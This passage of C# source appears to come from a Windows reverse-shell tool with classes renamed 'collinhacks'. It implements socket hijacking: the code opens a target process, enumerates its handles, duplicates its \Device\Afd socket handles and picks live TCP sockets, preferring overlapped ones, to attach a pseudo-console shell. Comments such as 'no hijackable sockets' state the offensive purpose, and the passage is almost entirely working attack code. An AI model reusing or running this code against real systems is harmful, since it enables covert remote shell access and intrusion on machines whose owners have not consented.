        private IntPtr targetHandle;
    
        private delegate uint LPTHREAD_START_ROUTINE(uint lpParam);
    
        [DllImport("kernel32.dll")]
        private static extern bool CloseHandle(IntPtr hObject);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    
        [DllImport("Kernel32.dll", SetLastError = true)]
        private static extern IntPtr CreateThread(uint lpThreadAttributes, uint dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
    
        private uint ThreadCheckDeadlock(uint threadParams)
        {
            IntPtr objPtr = IntPtr.Zero;
            objPtr = SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0);
            this.deadlockDetected = false;
            if (objPtr != IntPtr.Zero) Marshal.FreeHGlobal(objPtr);
            return 0;
        }
    
        public bool CheckDeadlockDetected(IntPtr tHandle)
        {
            this.deadlockDetected = true;
            this.targetHandle = tHandle;
            LPTHREAD_START_ROUTINE delegateThreadCheckDeadlock = new LPTHREAD_START_ROUTINE(this.ThreadCheckDeadlock);
            IntPtr hThread = IntPtr.Zero;
            uint threadId = 0;
            //we need native threads, C# threads hang and go in lock. We need to avoids hangs on named pipe so... No hangs no deadlocks... no pain no gains...
            hThread = CreateThread(0, 0, delegateThreadCheckDeadlock, IntPtr.Zero, 0, out threadId);
            WaitForSingleObject(hThread, 1500);
            //we do not kill the "pending" threads here with TerminateThread() because it will crash the whole process if we do it on locked threads.
            //just some waste of threads :(
            CloseHandle(hThread);
            return this.deadlockDetected;
        }
    }
    
    public static class SocketHijacking
    {
    
        private const uint NTSTATUS_SUCCESS = 0x00000000;
        private const uint NTSTATUS_INFOLENGTHMISMATCH = 0xc0000004;
        private const uint NTSTATUS_BUFFEROVERFLOW = 0x80000005;
        private const uint NTSTATUS_BUFFERTOOSMALL = 0xc0000023;
        private const int NTSTATUS_PENDING = 0x00000103;
        private const int WSA_FLAG_OVERLAPPED = 0x1;
        private const int DUPLICATE_SAME_ACCESS = 0x2;
        private const int SystemHandleInformation = 16;
        private const int PROCESS_DUP_HANDLE = 0x0040;
        private const int SIO_TCP_INFO = unchecked((int)0xD8000027);
        private const int SG_UNCONSTRAINED_GROUP = 0x1;
        private const int SG_CONSTRAINED_GROUP = 0x2;
        private const uint IOCTL_AFD_GET_CONTEXT = 0x12043;
        private const int EVENT_ALL_ACCESS = 0x1f0003;
        private const int SynchronizationEvent = 1;
        private const UInt32 INFINITE = 0xFFFFFFFF;
    
        private enum SOCKET_STATE : uint
        {
            SocketOpen = 0,
            SocketBound = 1,
            SocketBoundUdp = 2,
            SocketConnected = 3,
            SocketClosed = 3
        }
    
        private enum AFD_GROUP_TYPE : uint
        {
            GroupTypeNeither = 0,
            GroupTypeConstrained = SG_CONSTRAINED_GROUP,
            GroupTypeUnconstrained = SG_UNCONSTRAINED_GROUP
        }
    
        public enum OBJECT_INFORMATION_CLASS : int
        {
            ObjectBasicInformation = 0,
            ObjectNameInformation = 1,
            ObjectTypeInformation = 2,
            ObjectAllTypesInformation = 3,
            ObjectHandleInformation = 4
        }
    
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO
        {
            public ushort UniqueProcessId;
            public ushort CreatorBackTraceIndex;
            public byte ObjectTypeIndex;
            public byte HandleAttributes;
            public ushort HandleValue;
            public IntPtr Object;
            public IntPtr GrantedAccess;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct GENERIC_MAPPING
        {
            public int GenericRead;
            public int GenericWrite;
            public int GenericExecute;
            public int GenericAll;
        }
    
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        private struct OBJECT_TYPE_INFORMATION_V2
        {
            public UNICODE_STRING TypeName;
            public uint TotalNumberOfObjects;
            public uint TotalNumberOfHandles;
            public uint TotalPagedPoolUsage;
            public uint TotalNonPagedPoolUsage;
            public uint TotalNamePoolUsage;
            public uint TotalHandleTableUsage;
            public uint HighWaterNumberOfObjects;// PeakObjectCount;
            public uint HighWaterNumberOfHandles;// PeakHandleCount;
            public uint HighWaterPagedPoolUsage;
            public uint HighWaterNonPagedPoolUsage;
            public uint HighWaterNamePoolUsage;
            public uint HighWaterHandleTableUsage;
            public uint InvalidAttributes;
            public GENERIC_MAPPING GenericMapping;
            public uint ValidAccessMask;
            public byte SecurityRequired;//bool
            public byte MaintainHandleCount;//bool
            public byte TypeIndex;
            public byte ReservedByte;
            public uint PoolType;
            public uint DefaultPagedPoolCharge;// PagedPoolUsage;
            public uint DefaultNonPagedPoolCharge;//NonPagedPoolUsage;
        }
    
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        private struct OBJECT_NAME_INFORMATION
        {
            public UNICODE_STRING Name;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct UNICODE_STRING
        {
            public ushort Length;
            public ushort MaximumLength;
            public IntPtr Buffer;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct WSAData
        {
            public short wVersion;
            public short wHighVersion;
            public short iMaxSockets;
            public short iMaxUdpDg;
            public IntPtr lpVendorInfo;
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
            public string szDescription;
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
            public string szSystemStatus;
        }
    
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
        private struct WSAPROTOCOLCHAIN
        {
            public int ChainLen;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)]
            public uint[] ChainEntries;
        }
    
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
        private struct WSAPROTOCOL_INFO
        {
            public uint dwServiceFlags1;
            public uint dwServiceFlags2;
            public uint dwServiceFlags3;
            public uint dwServiceFlags4;
            public uint dwProviderFlags;
            public Guid ProviderId;
            public uint dwCatalogEntryId;
            public WSAPROTOCOLCHAIN ProtocolChain;
            public int iVersion;
            public int iAddressFamily;
            public int iMaxSockAddr;
            public int iMinSockAddr;
            public int iSocketType;
            public int iProtocol;
            public int iProtocolMaxOffset;
            public int iNetworkByteOrder;
            public int iSecurityScheme;
            public uint dwMessageSize;
            public uint dwProviderReserved;
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
            public string szProtocol;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct SOCKADDR_IN
        {
            public short sin_family;
            public short sin_port;
            public uint sin_addr;
            public long sin_zero;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct TCP_INFO_v0
        {
            public TcpState State;
            public UInt32 Mss;
            public UInt64 ConnectionTimeMs;
            public byte TimestampsEnabled;
            public UInt32 RttUs;
            public UInt32 MinRttUs;
            public UInt32 BytesInFlight;
            public UInt32 Cwnd;
            public UInt32 SndWnd;
            public UInt32 RcvWnd;
            public UInt32 RcvBuf;
            public UInt64 BytesOut;
            public UInt64 BytesIn;
            public UInt32 BytesReordered;
            public UInt32 BytesRetrans;
            public UInt32 FastRetrans;
            public UInt32 DupAcksIn;
            public UInt32 TimeoutEpisodes;
            public byte SynRetrans;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct linger
        {
            public UInt16 l_onoff;
            public UInt16 l_linger;
        }
    
        [StructLayout(LayoutKind.Sequential, Pack = 0)]
        private struct IO_STATUS_BLOCK
        {
            public int status;
            public IntPtr information;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct SOCK_SHARED_INFO
        {
            public SOCKET_STATE State;
            public Int32 AddressFamily;
            public Int32 SocketType;
            public Int32 Protocol;
            public Int32 LocalAddressLength;
            public Int32 RemoteAddressLength;
    
            // Socket options controlled by getsockopt(), setsockopt().
            public linger LingerInfo;
            public UInt32 SendTimeout;
            public UInt32 ReceiveTimeout;
            public UInt32 ReceiveBufferSize;
            public UInt32 SendBufferSize;
            /* Those are the bits in the SocketProerty, proper order:
                Listening;
                Broadcast;
                Debug;
                OobInline;
                ReuseAddresses;
                ExclusiveAddressUse;
                NonBlocking;
                DontUseWildcard;
                ReceiveShutdown;
                SendShutdown;
                ConditionalAccept;
            */
            public ushort SocketProperty;
            // Snapshot of several parameters passed into WSPSocket() when creating this socket
            public UInt32 CreationFlags;
            public UInt32 CatalogEntryId;
            public UInt32 ServiceFlags1;
            public UInt32 ProviderFlags;
            public UInt32 GroupID;
            public AFD_GROUP_TYPE GroupType;
            public Int32 GroupPriority;
            // Last error set on this socket
            public Int32 LastError;
            // Info stored for WSAAsyncSelect()
            public IntPtr AsyncSelecthWnd;
            public UInt32 AsyncSelectSerialNumber;
            public UInt32 AsyncSelectwMsg;
            public Int32 AsyncSelectlEvent;
            public Int32 DisabledAsyncSelectEvents;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct SOCKADDR
        {
            public UInt16 sa_family;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 14)]
            public byte[] sa_data;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct SOCKET_CONTEXT
        {
            public SOCK_SHARED_INFO SharedData;
            public UInt32 SizeOfHelperData;
            public UInt32 Padding;
            public SOCKADDR LocalAddress;
            public SOCKADDR RemoteAddress;
            // Helper Data - found out with some reversing
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 24)]
            public byte[] HelperData;
        }
    
        private struct SOCKET_BYTESIN
        {
            public IntPtr handle;
            public UInt64 BytesIn;
        }
    
        [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer);
    
        [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
        private static extern IntPtr WSASocket([In] int addressFamily, [In] int socketType, [In] int protocolType, ref WSAPROTOCOL_INFO lpProtocolInfo, Int32 group1, int dwFlags);
    
        [DllImport("ws2_32.dll", CharSet = CharSet.Auto)]
        private static extern Int32 WSAGetLastError();
    
        [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
        private static extern int getpeername(IntPtr s, ref SOCKADDR_IN name, ref int namelen);
    
        // WSAIoctl1 implementation specific for SIO_TCP_INFO control code
        [DllImport("Ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, EntryPoint = "WSAIoctl")]
        public static extern int WSAIoctl1(IntPtr s, int dwIoControlCode, ref UInt32 lpvInBuffer, int cbInBuffer, IntPtr lpvOutBuffer, int cbOutBuffer, ref int lpcbBytesReturned, IntPtr lpOverlapped, IntPtr lpCompletionRoutine);
    
        [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern int closesocket(IntPtr s);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern IntPtr OpenProcess(int processAccess, bool bInheritHandle, int processId);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
    
        [DllImport("kernel32.dll")]
        private static extern bool CloseHandle(IntPtr hObject);
    
        [DllImport("kernel32.dll")]
        private static extern IntPtr GetCurrentProcess();
    
        [DllImport("ntdll.dll")]
        private static extern uint NtQueryObject(IntPtr objectHandle, OBJECT_INFORMATION_CLASS informationClass, IntPtr informationPtr, uint informationLength, ref int returnLength);
    
        [DllImport("ntdll.dll")]
        private static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    
        [DllImport("ntdll.dll")]
        private static extern int NtCreateEvent(ref IntPtr EventHandle, int DesiredAccess, IntPtr ObjectAttributes, int EventType, bool InitialState);
    
        // NtDeviceIoControlFile1 implementation specific for IOCTL_AFD_GET_CONTEXT IoControlCode
        [DllImport("ntdll.dll", EntryPoint = "NtDeviceIoControlFile")]
        private static extern int NtDeviceIoControlFile1(IntPtr FileHandle, IntPtr Event, IntPtr ApcRoutine, IntPtr ApcContext, ref IO_STATUS_BLOCK IoStatusBlock, uint IoControlCode, IntPtr InputBuffer, int InputBufferLength, ref SOCKET_CONTEXT OutputBuffer, int OutputBufferLength);
    
        [DllImport("Ws2_32.dll")]
        public static extern int ioctlsocket(IntPtr s, int cmd, ref int argp);
        
        //helper method with "dynamic" buffer allocation
        private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLength)
        {
            if (infoLength == 0)
                infoLength = 0x10000;
            IntPtr infoPtr = Marshal.AllocHGlobal(infoLength);
            while (true)
            {
                uint result = (uint)NtQuerySystemInformation(infoClass, infoPtr, infoLength, ref infoLength);
                infoLength = infoLength * 2;
                if (result == NTSTATUS_SUCCESS)
                    return infoPtr;
                Marshal.FreeHGlobal(infoPtr);  //free pointer when not Successful
                if (result != NTSTATUS_INFOLENGTHMISMATCH && result != NTSTATUS_BUFFEROVERFLOW && result != NTSTATUS_BUFFERTOOSMALL)
                {
                    //throw new Exception("Unhandled NtStatus " + result);
                    return IntPtr.Zero;
                }
                infoPtr = Marshal.AllocHGlobal(infoLength);
            }
        }
    
        private static IntPtr QueryObjectTypesInfo()
        {
            IntPtr ptrObjectTypesInformation = IntPtr.Zero;
            ptrObjectTypesInformation = NtQueryObjectDynamic(IntPtr.Zero, OBJECT_INFORMATION_CLASS.ObjectAllTypesInformation, 0);
            return ptrObjectTypesInformation;
        }
    
        // this from --> https://github.com/hfiref0x/UACME/blob/master/Source/Shared/ntos.h
        private static long AlignUp(long address, long align)
        {
            return (((address) + (align) - 1) & ~((align) - 1));
        }
    
        // this works only from win8 and above. If you need a more generic solution you need to use the (i+2) "way" of counting index types.
        // credits for this goes to @0xrepnz
        // more information here --> https://twitter.com/splinter_code/status/1400873009121013765
        private static byte GetTypeIndexByName(string ObjectName)
        {
            byte TypeIndex = 0;
            long TypesCount = 0;
            IntPtr ptrTypesInfo = IntPtr.Zero;
            ptrTypesInfo = QueryObjectTypesInfo();
            TypesCount = Marshal.ReadIntPtr(ptrTypesInfo).ToInt64();
            // create a pointer to the first element address of OBJECT_TYPE_INFORMATION_V2
            IntPtr ptrTypesInfoCurrent = new IntPtr(ptrTypesInfo.ToInt64() + IntPtr.Size);
            for (int i = 0; i < TypesCount; i++)
            {
                OBJECT_TYPE_INFORMATION_V2 Type = (OBJECT_TYPE_INFORMATION_V2)Marshal.PtrToStructure(ptrTypesInfoCurrent, typeof(OBJECT_TYPE_INFORMATION_V2));
                // move pointer to next the OBJECT_TYPE_INFORMATION_V2 object
                ptrTypesInfoCurrent = (IntPtr)(ptrTypesInfoCurrent.ToInt64() + AlignUp(Type.TypeName.MaximumLength, (long)IntPtr.Size) + Marshal.SizeOf(typeof(OBJECT_TYPE_INFORMATION_V2)));
                if (Type.TypeName.Length > 0 && Marshal.PtrToStringUni(Type.TypeName.Buffer, Type.TypeName.Length / 2) == ObjectName)
                {
                    TypeIndex = Type.TypeIndex;
                    break;
                }
            }
            Marshal.FreeHGlobal(ptrTypesInfo);
            return TypeIndex;
        }
    
        private static List<IntPtr> DuplicateSocketsFromHandles(List<IntPtr> sockets)
        {
            List<IntPtr> dupedSocketsOut = new List<IntPtr>();
            if (sockets.Count < 1) return dupedSocketsOut;
            foreach (IntPtr sock in sockets)
            {
                IntPtr dupedSocket = DuplicateSocketFromHandle(sock);
                if (dupedSocket != IntPtr.Zero) dupedSocketsOut.Add(dupedSocket);
            }
            // cleaning all socket handles
            foreach (IntPtr sock in sockets)
                CloseHandle(sock);
            return dupedSocketsOut;
        }
    
        private static List<IntPtr> FilterAndOrderSocketsByBytesIn(List<IntPtr> sockets)
        {
            List<SOCKET_BYTESIN> socketsBytesIn = new List<SOCKET_BYTESIN>();
            List<IntPtr> socketsOut = new List<IntPtr>();
            foreach (IntPtr sock in sockets)
            {
                TCP_INFO_v0 sockInfo = new TCP_INFO_v0();
                if (!GetSocketTcpInfo(sock, out sockInfo))
                {
                    closesocket(sock);
                    continue;
                }
                // Console.WriteLine("debug: Socket handle 0x" + sock.ToString("X4") + " is in tcpstate " + sockInfo.State.ToString());
                // we need only active sockets, the remaing sockets are filtered out
                if (sockInfo.State == TcpState.SynReceived || sockInfo.State == TcpState.Established)
                {
                    SOCKET_BYTESIN sockBytesIn = new SOCKET_BYTESIN();
                    sockBytesIn.handle = sock;
                    sockBytesIn.BytesIn = sockInfo.BytesIn;
                    socketsBytesIn.Add(sockBytesIn);
                }
                else
                    closesocket(sock);
            }
            if (socketsBytesIn.Count < 1) return socketsOut;
            if (socketsBytesIn.Count >= 2)
                // ordering for fewer bytes received by the sockets we have a higher chance to get the proper socket
                socketsBytesIn.Sort(delegate (SOCKET_BYTESIN a, SOCKET_BYTESIN b) { return (a.BytesIn.CompareTo(b.BytesIn)); });
            foreach (SOCKET_BYTESIN sockBytesIn in socketsBytesIn)
            {
                socketsOut.Add(sockBytesIn.handle);
                // Console.WriteLine("debug: Socket handle 0x" + sockBytesIn.handle.ToString("X4") + " total bytes received: " + sockBytesIn.BytesIn.ToString());
            }
            return socketsOut;
        }
    
        private static bool GetSocketTcpInfo(IntPtr socket, out TCP_INFO_v0 tcpInfoOut)
        {
            int result = -1;
            UInt32 tcpInfoVersion = 0;
            int bytesReturned = 0;
            int tcpInfoSize = Marshal.SizeOf(typeof(TCP_INFO_v0));
            IntPtr tcpInfoPtr = Marshal.AllocHGlobal(tcpInfoSize);
            result = WSAIoctl1(socket, SIO_TCP_INFO, ref tcpInfoVersion, Marshal.SizeOf(tcpInfoVersion), tcpInfoPtr, tcpInfoSize, ref bytesReturned, IntPtr.Zero, IntPtr.Zero);
            if (result != 0)
            {
                // Console.WriteLine("debug: WSAIoctl1 failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString());
                tcpInfoOut = new TCP_INFO_v0();
                return false;
            }
            TCP_INFO_v0 tcpInfoV0 = (TCP_INFO_v0)Marshal.PtrToStructure(tcpInfoPtr, typeof(TCP_INFO_v0));
            tcpInfoOut = tcpInfoV0;
            Marshal.FreeHGlobal(tcpInfoPtr);
            return true;
        }
    
        // this function take a raw handle to a \Device\Afd object as a parameter and returns a handle to a duplicated socket
        private static IntPtr DuplicateSocketFromHandle(IntPtr socketHandle)
        {
            IntPtr retSocket = IntPtr.Zero;
            IntPtr duplicatedSocket = IntPtr.Zero;
            WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO();
            int status = WSADuplicateSocket(socketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo);
            if (status == 0)
            {
                // we need an overlapped socket for the conpty process but we don't need to specify the WSA_FLAG_OVERLAPPED flag here because it will be ignored (and automatically set) by WSASocket() function if we set the WSAPROTOCOL_INFO structure and if the original socket has been created with the overlapped flag.
                duplicatedSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, 0);
                if (duplicatedSocket.ToInt64() > 0)
                {
                    retSocket = duplicatedSocket;
                }
            }
            return retSocket;
        }
    
        //helper method with "dynamic" buffer allocation
        public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLASS infoClass, int infoLength)
        {
            if (infoLength == 0)
                infoLength = Marshal.SizeOf(typeof(int));
            IntPtr infoPtr = Marshal.AllocHGlobal(infoLength);
            uint result;
            while (true)
            {
                result = (uint)NtQueryObject(handle, infoClass, infoPtr, (uint)infoLength, ref infoLength);
                if (result == NTSTATUS_INFOLENGTHMISMATCH || result == NTSTATUS_BUFFEROVERFLOW || result == NTSTATUS_BUFFERTOOSMALL)
                {
                    Marshal.FreeHGlobal(infoPtr);
                    infoPtr = Marshal.AllocHGlobal((int)infoLength);
                    continue;
                }
                else if (result == NTSTATUS_SUCCESS)
                    break;
                else
                {
                    //throw new Exception("Unhandled NtStatus " + result);
                    break;
                }
            }
            if (result == NTSTATUS_SUCCESS)
                return infoPtr;//don't forget to free the pointer with Marshal.FreeHGlobal after you're done with it
            else
                Marshal.FreeHGlobal(infoPtr);//free pointer when not Successful
            return IntPtr.Zero;
        }
    
        public static List<IntPtr> GetSocketsTargetProcess(Process targetProcess)
        {
            OBJECT_NAME_INFORMATION objNameInfo;
            long HandlesCount = 0;
            IntPtr dupHandle;
            IntPtr ptrObjectName;
            IntPtr ptrHandlesInfo;
            IntPtr hTargetProcess;
            string strObjectName;
            List<IntPtr> socketsHandles = new List<IntPtr>();
            DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper();
            hTargetProcess = OpenProcess(PROCESS_DUP_HANDLE, false, targetProcess.Id);
            if (hTargetProcess == IntPtr.Zero)
            {
                Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access");
                return socketsHandles;
            }
            ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0);
            HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64();
            // create a pointer at the beginning of the address of SYSTEM_HANDLE_TABLE_ENTRY_INFO[]
            IntPtr ptrHandlesInfoCurrent = new IntPtr(ptrHandlesInfo.ToInt64() + IntPtr.Size);
            // get TypeIndex for "File" objects, needed to filter only sockets objects
            byte TypeIndexFileObject = GetTypeIndexByName("File");
            for (int i = 0; i < HandlesCount; i++)
            {
                SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandle;
                try
                {
                    sysHandle = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)Marshal.PtrToStructure(ptrHandlesInfoCurrent, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO));
                }
                catch
                {
                    break;
                }
                //move pointer to next SYSTEM_HANDLE_TABLE_ENTRY_INFO
                ptrHandlesInfoCurrent = (IntPtr)(ptrHandlesInfoCurrent.ToInt64() + Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO)));
                if (sysHandle.UniqueProcessId != targetProcess.Id || sysHandle.ObjectTypeIndex != TypeIndexFileObject)
                    continue;
                if (DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.HandleValue, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS))
                {
                    if (deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle))
                    { // this will avoids deadlocks on special named pipe handles
                        // Console.WriteLine("debug: Deadlock detected");
                        CloseHandle(dupHandle);
                        continue;
                    }
                    ptrObjectName = NtQueryObjectDynamic(dupHandle, OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0);
                    if (ptrObjectName == IntPtr.Zero)
                    {
                        CloseHandle(dupHandle);
                        continue;
                    }
                    try
                    {
                        objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION));
                    }
                    catch
                    {
                        CloseHandle(dupHandle);
                        continue;
                    }
                    if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0)
                    {
                        strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer, objNameInfo.Name.Length / 2);
                        // Console.WriteLine("debug: file handle 0x" + dupHandle.ToString("X4") + " strObjectName = " + strObjectName);
                        if (strObjectName == "\\Device\\Afd")
                            socketsHandles.Add(dupHandle);
                        else
                            CloseHandle(dupHandle);
                    }
                    else
                        CloseHandle(dupHandle);
                    Marshal.FreeHGlobal(ptrObjectName);
                    ptrObjectName = IntPtr.Zero;
                }
            }
            Marshal.FreeHGlobal(ptrHandlesInfo);
            List<IntPtr> dupedSocketsHandles = DuplicateSocketsFromHandles(socketsHandles);
            if (dupedSocketsHandles.Count >= 1)
                dupedSocketsHandles = FilterAndOrderSocketsByBytesIn(dupedSocketsHandles);
            socketsHandles = dupedSocketsHandles;
            return socketsHandles;
        }
    
        public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess)
        {
            bool inherited = false;
            List<IntPtr> parentSocketsHandles = GetSocketsTargetProcess(parentProcess);
            if (parentSocketsHandles.Count < 1)
                return inherited;
            foreach (IntPtr parentSocketHandle in parentSocketsHandles)
            {
                SOCKADDR_IN sockaddrTargetProcess = new SOCKADDR_IN();
                SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN();
                int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess);
                int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess);
                if (
                    (getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) == 0) &&
                    (getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) == 0) &&
                    (sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port)
                   )
                {
                    // Console.WriteLine("debug: found inherited socket! handle --> 0x" + parentSocketHandle.ToString("X4"));
                    inherited = true;
                }
                closesocket(parentSocketHandle);
            }
            return inherited;
        }
    
        public static bool IsSocketOverlapped(IntPtr socket)
        {
            bool ret = false;
            IntPtr sockEvent = IntPtr.Zero;
            int ntStatus = -1;
            SOCKET_CONTEXT contextData = new SOCKET_CONTEXT();
            ntStatus = NtCreateEvent(ref sockEvent, EVENT_ALL_ACCESS, IntPtr.Zero, SynchronizationEvent, false);
            if (ntStatus != NTSTATUS_SUCCESS)
            {
                // Console.WriteLine("debug: NtCreateEvent failed with error code 0x" + ntStatus.ToString("X8")); ;
                return ret;
            }
            IO_STATUS_BLOCK IOSB = new IO_STATUS_BLOCK();
            ntStatus = NtDeviceIoControlFile1(socket, sockEvent, IntPtr.Zero, IntPtr.Zero, ref IOSB, IOCTL_AFD_GET_CONTEXT, IntPtr.Zero, 0, ref contextData, Marshal.SizeOf(contextData));
            // Wait for Completion 
            if (ntStatus == NTSTATUS_PENDING)
            {
                WaitForSingleObject(sockEvent, INFINITE);
                ntStatus = IOSB.status;
            }
            CloseHandle(sockEvent);
    
            if (ntStatus != NTSTATUS_SUCCESS)
            {
                // Console.WriteLine("debug: NtDeviceIoControlFile failed with error code 0x" + ntStatus.ToString("X8")); ;
                return ret;
            }
            if ((contextData.SharedData.CreationFlags & WSA_FLAG_OVERLAPPED) != 0) ret = true;
            return ret;
        }
    
        public static IntPtr DuplicateTargetProcessSocket(Process targetProcess, ref bool overlappedSocket)
        {
            IntPtr targetSocketHandle = IntPtr.Zero;
            List<IntPtr> targetProcessSockets = GetSocketsTargetProcess(targetProcess);
            if (targetProcessSockets.Count < 1) return targetSocketHandle;
            else
            {
                foreach (IntPtr socketHandle in targetProcessSockets)
                {
                    // we prioritize the hijacking of Overlapped sockets
                    if (!IsSocketOverlapped(socketHandle))
                    {
                        // Console.WriteLine("debug: Found a usable socket, but it has not been created with the flag WSA_FLAG_OVERLAPPED, skipping...");
                        continue;
                    }
                    targetSocketHandle = socketHandle;
                    overlappedSocket = true;
                    break;
                }
                // no Overlapped sockets found, expanding the scope by including also Non-Overlapped sockets
                if (targetSocketHandle == IntPtr.Zero) {
                    // Console.WriteLine("debug: No overlapped sockets found. Trying to return also non-overlapped sockets...");
                    foreach (IntPtr socketHandle in targetProcessSockets)
                    {
                        targetSocketHandle = socketHandle;
                        if (!IsSocketOverlapped(targetSocketHandle)) overlappedSocket = false;
                        break;
                    }
                }
            }
            if (targetSocketHandle == IntPtr.Zero)
                throw new collinhacksException("No sockets found, so no hijackable sockets :( Exiting...");
            return targetSocketHandle;
        }
        public static void SetSocketBlockingMode(IntPtr socket, int mode)
        {
            int FIONBIO = -2147195266;
            int NonBlockingMode = 1;
            int BlockingMode = 0;
            int result;
            if (mode == 1)
                result = ioctlsocket(socket, FIONBIO, ref NonBlockingMode);
            else
                result = ioctlsocket(socket, FIONBIO, ref BlockingMode);
            if (result == -1)
                throw new collinhacksException("ioctlsocket failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString());
        }
    }
    
    // source from --> https://stackoverflow.com/a/3346055
    [StructLayout(LayoutKind.Sequential)]
    public struct ParentProcessUtilities
    {
        // These members must match PROCESS_BASIC_INFORMATION
        internal IntPtr Reserved1;
        internal IntPtr PebBaseAddress;
        internal IntPtr Reserved2_0;
        internal IntPtr Reserved2_1;
        internal IntPtr UniqueProcessId;
        internal IntPtr InheritedFromUniqueProcessId;
    
        [DllImport("ntdll.dll")]
        private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength);
    
        public static Process GetParentProcess()
        {
            return GetParentProcess(Process.GetCurrentProcess().Handle);
        }
    
        public static Process GetParentProcess(int id)
        {
            Process process = Process.GetProcessById(id);
            return GetParentProcess(process.Handle);
        }
    
        public static Process GetParentProcess(IntPtr handle)
        {
            ParentProcessUtilities pbi = new ParentProcessUtilities();
            int returnLength;
            int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength);
            if (status != 0)
                throw new collinhacksException(status.ToString());
            try
            {
                return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32());
            }
            catch (ArgumentException)
            {
                // not found
                return null;
            }
        }
    }
    
    public static class collinhacks
    {
        private const string errorString = "{{{collinhacksException}}}\r\n";
        private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
        private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
